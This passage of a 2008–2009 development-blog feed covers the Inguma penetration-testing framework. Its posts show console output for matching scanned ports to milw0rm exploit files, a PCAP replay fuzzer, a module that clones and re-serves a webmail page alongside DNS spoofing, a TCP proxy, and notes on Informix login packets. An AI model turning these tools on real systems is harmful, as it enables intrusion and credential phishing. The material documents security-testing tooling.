perform is a port scan:&lt;br /&gt;&lt;pre&gt;inguma&gt; target = '192.168.0.1'&lt;br /&gt;inguma&gt; tcpscan&lt;br /&gt;Scanning port 17004 (417/417)&lt;br /&gt;Open ports&lt;br /&gt;----------&lt;br /&gt;&lt;br /&gt;Port 1720 is open&lt;br /&gt;Port 23/telnet is open&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Once we get the open ports for this target we enter into the 'localxpl' interface to correlate the results with the existing exploits. As we already have downloaded the exploits we are now informed with the dates of the downloads so we can decide if we need to update.&lt;br /&gt;&lt;pre&gt;inguma&gt; localxpl&lt;br /&gt;Last Milw0rm DDBB update: Thu Jan 15 20:19:38 2009&lt;br /&gt;Last Packetstorm DDBB update: Thu Jan 15 20:28:44 2009&lt;br /&gt;&lt;br /&gt;Actual remotedb selected: milw0rm&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Now we just need to specify the target we have scanned and we want to correlate and launch the command 'correlate':&lt;br /&gt;&lt;pre&gt;LOCXPL&gt; target 192.168.0.1&lt;br /&gt;Target set for correlation: 192.168.0.1&lt;br /&gt;&lt;br /&gt;LOCXPL&gt; correlate&lt;br /&gt;Searching exploits available on milw0rm DDBB for port TCP/23&lt;br /&gt;&lt;br /&gt;/inguma/modules/exploits/milw0rm/rport/23/346.c&lt;br /&gt;/inguma/modules/exploits/milw0rm/rport/23/3293.sh&lt;br /&gt;/inguma/modules/exploits/milw0rm/rport/23/254.c&lt;br /&gt;/inguma/modules/exploits/milw0rm/rport/23/621.c&lt;br /&gt;/inguma/modules/exploits/milw0rm/rport/23/89.c&lt;br /&gt;/inguma/modules/exploits/milw0rm/rport/23/409.c&lt;br /&gt;&lt;br /&gt;Searching exploits available on milw0rm DDBB for port TCP/1720&lt;br /&gt;&lt;br /&gt;No exploits found for port TCP/1720&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Ok, this is not enough to get accurate results but it's a starting point so, once I improve the scanning modules, to get and store also information about the services listening on each port that's all we have.&lt;br /&gt;&lt;br /&gt;So that's all folks; I hope that I will improve this module soon and also get new interesting ones. To finish, a tip for my next module: PIG. ;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8320914018667085850-7578424330613646891?l=ingumadev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ingumadev.blogspot.com/feeds/7578424330613646891/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8320914018667085850&amp;postID=7578424330613646891' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8320914018667085850/posts/default/7578424330613646891'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8320914018667085850/posts/default/7578424330613646891'/><link rel='alternate' type='text/html' href='http://ingumadev.blogspot.com/2009/01/exploits-for-all.html' title='Exploits for all!'/><author><name>Inguma Blog</name><uri>http://www.blogger.com/profile/11808896702980279168</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/-i5rwha3xQ-U/TfCPny0HlqI/AAAAAAAAADk/Ya4O7qcYsPA/s220/icono.png'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8320914018667085850.post-8286030002301094132</id><published>2008-12-27T17:49:00.002+01:00</published><updated>2011-08-15T05:15:29.775+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='release'/><category scheme='http://www.blogger.com/atom/ns#' term='inguma'/><title type='text'>After a long while...</title><content type='html'>Hi!&lt;br /&gt;&lt;br /&gt;After a long while Hugo &amp;amp; I decided to prepare the new Inguma version (Release 0.1.0) with some new features. There are new modules in the new version, as the ASNQuery module or the NMap fronted both created by Hugo, and new features &amp;amp; tools.&lt;br /&gt;&lt;br /&gt;The 2 most interesting new tools added to the framework are, for sure, the PCAP-based fuzzer and the OpenDis Binary Navigator.&lt;br /&gt;&lt;br /&gt;The PCAP based fuzzer works this way: Record with your favourite sniffer a session communicating with your target server application, save the recorded session as one PCAP file and create a new PCAP based fuzzer as the following:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;-----------------------------------------------------------------------------------&lt;br /&gt;import sys&lt;br /&gt;from scapy import *&lt;br /&gt;from fuzzpcap import *&lt;br /&gt;from lib import libfuzz&lt;br /&gt;&lt;br /&gt;def main(pcapFile, dest, destPort):&lt;br /&gt;&lt;br /&gt;replayList = []&lt;br /&gt;&lt;br /&gt;pktList = rdpcap(pcapFile)&lt;br /&gt;&lt;br /&gt;for pkt in pktList:&lt;br /&gt;tcpPkt = pkt[TCP]&lt;br /&gt;flags = tcpPkt.sprintf("%flags%")&lt;br /&gt;dst = pkt.sprintf("%IP.dst%")&lt;br /&gt;dstPort = tcpPkt.sprintf("%TCP.dport%")&lt;br /&gt;&lt;br /&gt;if flags == "PA" and dst == dest and dstPort == destPort:&lt;br /&gt;# Get the packet's data&lt;br /&gt;pktBuf = str(tcpPkt[Raw])&lt;br /&gt;replayList.append(pktBuf)&lt;br /&gt;&lt;br /&gt;replayer = CReplayFuzzer(dest, destPort, replayList)&lt;br /&gt;replayer.verbose = False # Show every packet that will be sent?&lt;br /&gt;replayer.timeout = 0.3   # Time to wait for a response?&lt;br /&gt;replayer.waitResponse = True # Wait for a response?&lt;br /&gt;replayer.startPacket = 0     # Start from packet number 0&lt;br /&gt;replayer.dontWaitFor = xrange(0, 1024) # Don't wait for a response for these packets&lt;br /&gt;replayer.fuzz() # Start fuzzing now!&lt;br /&gt;-----------------------------------------------------------------------------------&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;That easy. For some (undocumented) protocols this is a fast way to start fuzzing a complete communication session without having any knowledge about the communication protocol.&lt;br /&gt;&lt;br /&gt;Another interesting tool (as previously pointed) is the OpenDis Binary Navigator. It's a frontend for OpenDis databases (the format of the databases changed from cpickle objects to SQLite format databases). With this tool you might upload (this is a webserver, bind it to 127.0.0.1 if you don't want to open this to your network) programs to be analyzed by OpenDis and generate an SQLite based database. This database can be navigated using the OpenDis Binary Navigator.&lt;br /&gt;&lt;br /&gt;The most curious features of OpenDis Binary Navigator right now are the ability to generate basic block diagrams (you need Graphviz) and the option to calculate the CC (Cyclomatic Complexity) of a procedure. You might see screenshots at the end of this post.&lt;br /&gt;&lt;br /&gt;Well, that's all at the moment. I will try to upload the new version of Inguma to sourceforge before the end of the year. Happy XMas and happy new year!&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_0v9gAhrZ96Y/SVZjXub_e8I/AAAAAAAAABA/zb_Uzf4dWwQ/s1600-h/example1.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 320px; height: 240px;" src="http://2.bp.blogspot.com/_0v9gAhrZ96Y/SVZjXub_e8I/AAAAAAAAABA/zb_Uzf4dWwQ/s320/example1.jpg" alt="" id="BLOGGER_PHOTO_ID_5284520472019434434" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/_0v9gAhrZ96Y/SVZioI4TuFI/AAAAAAAAAA4/nBwTsuuo2MU/s1600-h/example3.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 320px; height: 134px;" src="http://4.bp.blogspot.com/_0v9gAhrZ96Y/SVZioI4TuFI/AAAAAAAAAA4/nBwTsuuo2MU/s320/example3.jpg" alt="" id="BLOGGER_PHOTO_ID_5284519654483802194" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/_0v9gAhrZ96Y/SVZinlS3tyI/AAAAAAAAAAw/dY65i_03BdI/s1600-h/example2.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 320px; height: 270px;" src="http://2.bp.blogspot.com/_0v9gAhrZ96Y/SVZinlS3tyI/AAAAAAAAAAw/dY65i_03BdI/s320/example2.jpg" alt="" id="BLOGGER_PHOTO_ID_5284519644931536674" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8320914018667085850-8286030002301094132?l=ingumadev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ingumadev.blogspot.com/feeds/8286030002301094132/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8320914018667085850&amp;postID=8286030002301094132' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8320914018667085850/posts/default/8286030002301094132'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8320914018667085850/posts/default/8286030002301094132'/><link rel='alternate' type='text/html' href='http://ingumadev.blogspot.com/2008/12/after-long-while.html' title='After a long while...'/><author><name>Inguma Blog</name><uri>http://www.blogger.com/profile/11808896702980279168</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/-i5rwha3xQ-U/TfCPny0HlqI/AAAAAAAAADk/Ya4O7qcYsPA/s220/icono.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_0v9gAhrZ96Y/SVZjXub_e8I/AAAAAAAAABA/zb_Uzf4dWwQ/s72-c/example1.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8320914018667085850.post-1535841128553293177</id><published>2008-09-09T23:37:00.001+02:00</published><updated>2011-08-15T05:13:10.174+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='inguma'/><title type='text'>More toys for Inguma</title><content type='html'>Hi all,&lt;br /&gt;&lt;br /&gt;Last days we have keep working on more modules for Inguma, so let's see the result of this work.&lt;br /&gt;&lt;br /&gt;First we have two new modules that could be very useful when used together with the DnsSpoof; both modules are located under the Gather category and are a TCP proxy and a Web Server with some basic crawling capabilities.&lt;br /&gt;&lt;pre&gt;inguma&gt; info webserver&lt;br /&gt;crawl = &lt;True/False&gt;&lt;br /&gt;target = &lt;target URL to crawl if True&gt;&lt;br /&gt;port = &lt;server port&gt;&lt;br /&gt;&lt;br /&gt;inguma&gt; info tcpproxy&lt;br /&gt;target = &lt;target host or network&gt;&lt;br /&gt;port = &lt;target port&gt;&lt;br /&gt;newport = &lt;new target port&gt;&lt;br /&gt;inguma&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;The web server will crawl a web page, if crawl variable is set to 'True', and after that will start serving that page at the specified port.&lt;br /&gt;&lt;pre&gt;inguma&gt; info webserver&lt;br /&gt;crawl = &lt;True/False&gt;&lt;br /&gt;target = &lt;target URL to crawl if True&gt;&lt;br /&gt;port = &lt;server port&gt;&lt;br /&gt;inguma&gt; crawl = True&lt;br /&gt;inguma&gt; target = 'http://mail.google.com'&lt;br /&gt;inguma&gt; port = 80&lt;br /&gt;inguma&gt; webserver&lt;br /&gt;Crawl True&lt;br /&gt;Crawling page: http://mail.google.com&lt;br /&gt;Parsing image links...&lt;br /&gt;Parsing href links...&lt;br /&gt;Crawled page saved at /home/hteso/Proyectos/inguma-dev/data/web/index.html&lt;br /&gt;serving at port 80&lt;br /&gt;localhost - - [09/Sep/2008 23:08:17] "GET / HTTP/1.1" 200 -&lt;br /&gt;localhost - - [09/Sep/2008 23:08:17] "GET /favicon.ico HTTP/1.1" 404 -&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;This can be funny ;) &lt;br /&gt;&lt;br /&gt;On the other hand we have the TCP Proxy...&lt;br /&gt;&lt;pre&gt;inguma&gt; info tcpproxy&lt;br /&gt;target = &lt;target host or network&gt;&lt;br /&gt;port = &lt;target port&gt;&lt;br /&gt;newport = &lt;new target port&gt;&lt;br /&gt;inguma&gt; target = 'http://www.google.es'&lt;br /&gt;inguma&gt; port = 80&lt;br /&gt;inguma&gt; newport = 80&lt;br /&gt;inguma&gt; tcpproxy&lt;br /&gt;Starting TCP proxy&lt;br /&gt;Redirecting: localhost:80 -&gt; http://mail.google.com:80&lt;br /&gt;inguma&gt; Creating new session for 127.0.0.1 55231 &lt;br /&gt;Creating new pipe thread  &lt;PipeThread(Thread-2, initial)&gt; ( ('127.0.0.1', 55231) -&gt; ('74.125.39.104', 80) )&lt;br /&gt;1 pipes active&lt;br /&gt;Creating new pipe thread  &lt;PipeThread(Thread-3, initial)&gt; ( ('74.125.39.104', 80) -&gt; ('127.0.0.1', 55231) )&lt;br /&gt;2 pipes active&lt;br /&gt;&lt;br /&gt;0010   6D 65 74 61 20 68 74 74 70 2D 65 71 75 69 76 3D    meta http-equiv=&lt;br /&gt;0020   22 63 6F 6E 74 65 6E 74 2D 74 79 70 65 22 20 63    "content-type" c&lt;br /&gt;0030   6F 6E 74 65 6E 74 3D 22 74 65 78 74 2F 68 74 6D    ontent="text/htm&lt;br /&gt;0040   6C 3B 63 68 61 72 73 65 74 3D 75 74 66 2D 38 22    l;charset=utf-8"&lt;br /&gt;0080   79 20 7B 66 6F 6E 74 2D 66 61 6D 69 6C 79 3A 20    y {font-family: &lt;br /&gt;0090   61 72 69 61 6C 2C 73 61 6E 73 2D 73 65 72 69 66    arial,sans-serif&lt;br /&gt;...&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;One of the next improvements for this module will be the ability to trap and modify requests and answers.&lt;br /&gt;&lt;br /&gt;Finally we have added a new section called RCE that will group all the tools for working with binaries:&lt;br /&gt;&lt;pre&gt;inguma&gt; show rce&lt;br /&gt;&lt;br /&gt;List of rce modules&lt;br /&gt;-------------------&lt;br /&gt;&lt;br /&gt;debugger                Userland Debugger&lt;br /&gt;hexdump                 A simple HexDump utility&lt;br /&gt;&lt;br /&gt;The first tool is a simple Hexdump utility.&lt;br /&gt;&lt;br /&gt;inguma&gt; info hexdump&lt;br /&gt;target = &lt; Target file &gt;&lt;br /&gt;lines = &lt;lines per page of dump&gt;&lt;br /&gt;inguma&gt; target = '/bin/cat'&lt;br /&gt;inguma&gt; hexdump&lt;br /&gt;&lt;br /&gt;/bin/cat&lt;br /&gt;--------------------------------------------------------------------------&lt;br /&gt;000000: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 | ELF............&lt;br /&gt;000010: 02 00 03 00 01 00 00 00 c0 8c 04 08 34 00 00 00 | ........�...4...&lt;br /&gt;000020: 78 66 00 00 00 00 00 00 34 00 20 00 07 00 28 00 | xf......4. ...(.&lt;br /&gt;000030: 1b 00 1a 00 06 00 00 00 34 00 00 00 34 80 04 08 | ........4...4...&lt;br /&gt;000040: 34 80 04 08 e0 00 00 00 e0 00 00 00 05 00 00 00 | 4...�...�.......&lt;br /&gt;000050: 04 00 00 00 03 00 00 00 14 01 00 00 14 81 04 08 | ................&lt;br /&gt;000060: 14 81 04 08 13 00 00 00 13 00 00 00 04 00 00 00 | ................&lt;br /&gt;000070: 01 00 00 00 01 00 00 00 00 00 00 00 00 80 04 08 | ................&lt;br /&gt;000080: 00 80 04 08 c0 63 00 00 c0 63 00 00 05 00 00 00 | ....�c..�c......&lt;br /&gt;000090: 00 10 00 00 01 00 00 00 c0 63 00 00 c0 f3 04 08 | ........�c..�&lt;br /&gt;0000a0: c0 f3 04 08 dc 01 00 00 64 03 00 00 06 00 00 00 | ��..�...d.......&lt;br /&gt;0000b0: 00 10 00 00 02 00 00 00 d4 63 00 00 d4 f3 04 08 | ........�c..�&lt;br /&gt;0000c0: d4 f3 04 08 d0 00 00 00 d0 00 00 00 06 00 00 00 | ��..�...�.......&lt;br /&gt;0000d0: 04 00 00 00 04 00 00 00 28 01 00 00 28 81 04 08 | ........(...(...&lt;br /&gt;0000e0: 28 81 04 08 20 00 00 00 20 00 00 00 04 00 00 00 | (... ... .......&lt;br /&gt;0000f0: 04 00 00 00 51 e5 74 64 00 00 00 00 00 00 00 00 | ....Q�td........&lt;br /&gt;000100: 00 00 00 00 00 00 00 00 00 00 00 00 06 00 00 00 | ................&lt;br /&gt;000110: 04 00 00 00 2f 6c 69 62 2f 6c 64 2d 6c 69 6e 75 | ..../lib/ld-linu&lt;br /&gt;000120: 78 2e 73 6f 2e 32 00 00 04 00 00 00 10 00 00 00 | x.so.2..........&lt;br /&gt;--------------------------------------------------------------------------&lt;br /&gt;jump to... &lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;And the last tool that we will review today is a ring 3 debugger coded in python and that you can find in &lt;a href="http://www.kenshoto.com/vtrace/"&gt;this&lt;/a&gt; web site.&lt;br /&gt;&lt;pre&gt;inguma&gt; debugger&lt;br /&gt;Loading VDB Modules: &lt;br /&gt;... Complete&lt;br /&gt;vdb &gt; help&lt;br /&gt;&lt;br /&gt;Documented commands (type help &lt;topic&gt;):&lt;br /&gt;========================================&lt;br /&gt;alias     bpedit  config  fds     maps     mode    regs    snapshot  threads &lt;br /&gt;attach    break   detach  go      mem      ps      script  stepi     vstruct &lt;br /&gt;bestname  bt      dis     ignore  memdump  python  server  struct    writemem&lt;br /&gt;bp        call    exec    lm      meta     quit    signal  syms    &lt;br /&gt;&lt;br /&gt;Undocumented commands:&lt;br /&gt;======================&lt;br /&gt;EOF  help  sections&lt;br /&gt;&lt;br /&gt;vdb &gt; ps&lt;br /&gt;[Pid]   [ Name ]&lt;br /&gt;1       /sbin/init&lt;br /&gt;2764    /sbin/udevd --daemon &lt;br /&gt;4458    /sbin/portmap &lt;br /&gt;4482    /sbin/rpc.statd &lt;br /&gt;4611    /sbin/getty 38400 tty4 &lt;br /&gt;4612    /sbin/getty 38400 tty5 &lt;br /&gt;4614    /sbin/getty 38400 tty2 &lt;br /&gt;4617    /sbin/getty 38400 tty3 &lt;br /&gt;4618    /sbin/getty 38400 tty6 &lt;br /&gt;4813    /usr/sbin/acpid -c /etc/acpi/events -s /var/run/acpid.socket &lt;br /&gt;...&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Actually the module just starts the debugger (either in console or graphical mode) but we are working on a more deep integration of the tool with Inguma and, may be, a programmatic RCE environment with the debugger, OpenDis, ...&lt;br /&gt;&lt;br /&gt;That's all for the moment, stay tuned!!&lt;br /&gt;&lt;br /&gt;Hugo Teso&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8320914018667085850-1535841128553293177?l=ingumadev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ingumadev.blogspot.com/feeds/1535841128553293177/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8320914018667085850&amp;postID=1535841128553293177' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8320914018667085850/posts/default/1535841128553293177'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8320914018667085850/posts/default/1535841128553293177'/><link rel='alternate' type='text/html' href='http://ingumadev.blogspot.com/2008/09/more-toys-for-inguma.html' title='More toys for Inguma'/><author><name>Inguma Blog</name><uri>http://www.blogger.com/profile/11808896702980279168</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/-i5rwha3xQ-U/TfCPny0HlqI/AAAAAAAAADk/Ya4O7qcYsPA/s220/icono.png'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8320914018667085850.post-5157054690532035486</id><published>2008-08-31T19:05:00.002+02:00</published><updated>2011-08-15T05:12:33.525+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='inguma'/><title type='text'>New libraries in the Inguma Framework</title><content type='html'>Hi!&lt;br /&gt;&lt;br /&gt;The, currently in development, new version of Inguma will include modules for Informix and IBM DB2 databases. Right now, for &lt;a href="http://www.ibm.com/db2"&gt;IBM DB2&lt;/a&gt; databases we don't have many things, just a discover module (at the moment) but I'm working in a Python module for the &lt;a href="http://en.wikipedia.org/wiki/DRDA"&gt;DRDA protocol&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Also, and it's almost finished, I'm working in a pure Python &lt;a href="http://www.ibm.com/software/data/informix/"&gt;Informix&lt;/a&gt; library. This library just "works". It generates valid packets for login, queries and various other Informix commands (such as DBList, etc...). It wasn't a hard job! I will explain a bit how the Informix communication protocol works: &lt;br /&gt;&lt;br /&gt;The 1st packet the client sends to the database server is a pure ASCII packet with the following format: &lt;br /&gt;&lt;pre&gt;buf = "sq"&lt;br /&gt;buf += base64.b64encode("&lt;b&gt;the total size of the packet&lt;/b&gt;").strip("==")&lt;br /&gt;buf += "BPQAAsqlexec"&lt;br /&gt;&lt;br /&gt;data  = ' %s -p%s %s %s -d%s -f%s DBPATH=%s DBMONEY=%s CLIENT_LOCALE=%s'&lt;br /&gt;data += ' SINGLELEVEL=%s '&lt;br /&gt;data += 'LKNOTIFY=%s LOCKDOWN=%s NODEFDAC=%s CLNT_PAM_CAPABLE=%s '&lt;br /&gt;data  = data % (self.username, self.password, self.version, self.serialNumber,&lt;br /&gt;self.databaseName,&lt;br /&gt;self.ieee, self.databasePath, self.databaseMoney,&lt;br /&gt;self.clientLocale, &lt;br /&gt;self.singleLevel, self.lkNotify, self.lockDown, &lt;br /&gt;self.noDefDac,&lt;br /&gt;self.clientPamCapable)&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;When the server receives this packet validates the username and the password (which is, BTW, sent in plain text) and, also, the database name if it was passed. Regardless of whether the username and password are valid, the server will always answer with interesting data to the client, such as the install path, complete version, etc... (BTW, there is a working module to gather information from an Informix Database in the private version of Inguma and will be released in the next release).&lt;br /&gt;&lt;br /&gt;The response sent from the server to the client will have the following format: &lt;br /&gt;&lt;br /&gt;&lt;i&gt;"0x00 0x05 0x02 0x00*12 ieee name banner serial dbpath protocol hostname terminal installpath"&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;The first byte (0x00 or 0x01) is the "isValidUser" byte. If the username and password are OK, the server will answer with a value of 0x01. Otherwise, the value will be 0x0. The 2nd and 3rd bytes indicates if the database selected exists and the user has privilege to connect to. A normal answer (if the database exists and, also, the username &amp; password are both valid) is 0x05 0x02. All the rest of the data are C strings. &lt;br /&gt;&lt;br /&gt;After this, if both username and password are valid, the user may start sending commands in a new (binary) protocol format. The protocol will have the following structure (not 100% accurate...): &lt;br /&gt;&lt;br /&gt;&lt;i&gt;0x00 OPCODE 0x00 0x00 0x00 STRING_DATA 0x00 0x00 0x16 0x00 0x31 0x00 0x0c&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;The first byte is static and the second one is the OPCODE. The opcode is an index to an internal function pointers array. In example, the OPCODE 0x01 is for executing SQL commands, the OPCODE chr(26) will list all the databases in the server, etc.. These function pointers are stored in the global array "jmpsql".&lt;br /&gt;&lt;br /&gt;Well, I hope that we will release a new version in about 1 month or so with modules for DB2 and Informix.&lt;br /&gt;&lt;br /&gt;Regards,&lt;br /&gt;Joxean Koret&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8320914018667085850-5157054690532035486?l=ingumadev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ingumadev.blogspot.com/feeds/5157054690532035486/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8320914018667085850&amp;postID=5157054690532035486' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8320914018667085850/posts/default/5157054690532035486'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8320914018667085850/posts/default/5157054690532035486'/><link rel='alternate' type='text/html' href='http://ingumadev.blogspot.com/2008/08/new-libraries-in-inguma-framework.html' title='New libraries in the Inguma Framework'/><author><name>Inguma Blog</name><uri>http://www.blogger.com/profile/11808896702980279168</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/-i5rwha3xQ-U/TfCPny0HlqI/AAAAAAAAADk/Ya4O7qcYsPA/s220/icono.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8320914018667085850.post-5917418850702405903</id><published>2008-08-31T18:39:00.001+02:00</published><updated>2011-08-15T05:12:00.518+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='inguma'/><title type='text'>First post!</title><content type='html'>This is the Inguma project's development blog. In the near future (we hope) we will update the blog with information about the new libraries, modules, etc... added to the &lt;a href="http://inguma.sourceforge.net/"&gt;Inguma framework&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8320914018667085850-5917418850702405903?l=ingumadev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ingumadev.blogspot.com/feeds/5917418850702405903/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8320914018667085850&amp;postID=5917418850702405903' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8320914018667085850/posts/default/5917418850702405903'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8320914018667085850/posts/default/5917418850702405903'/><link rel='alternate' type='text/html' href='http://ingumadev.blogspot.com/2008/08/first-post.html' title='First post!'/><author><name>Inguma Blog</name><uri>http://www.blogger.com/profile/11808896702980279168</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/-i5rwha3xQ-U/TfCPny0HlqI/AAAAAAAAADk/Ya4O7qcYsPA/s220/icono.png'/></author><thr:total>0</thr:total></entry></feed>
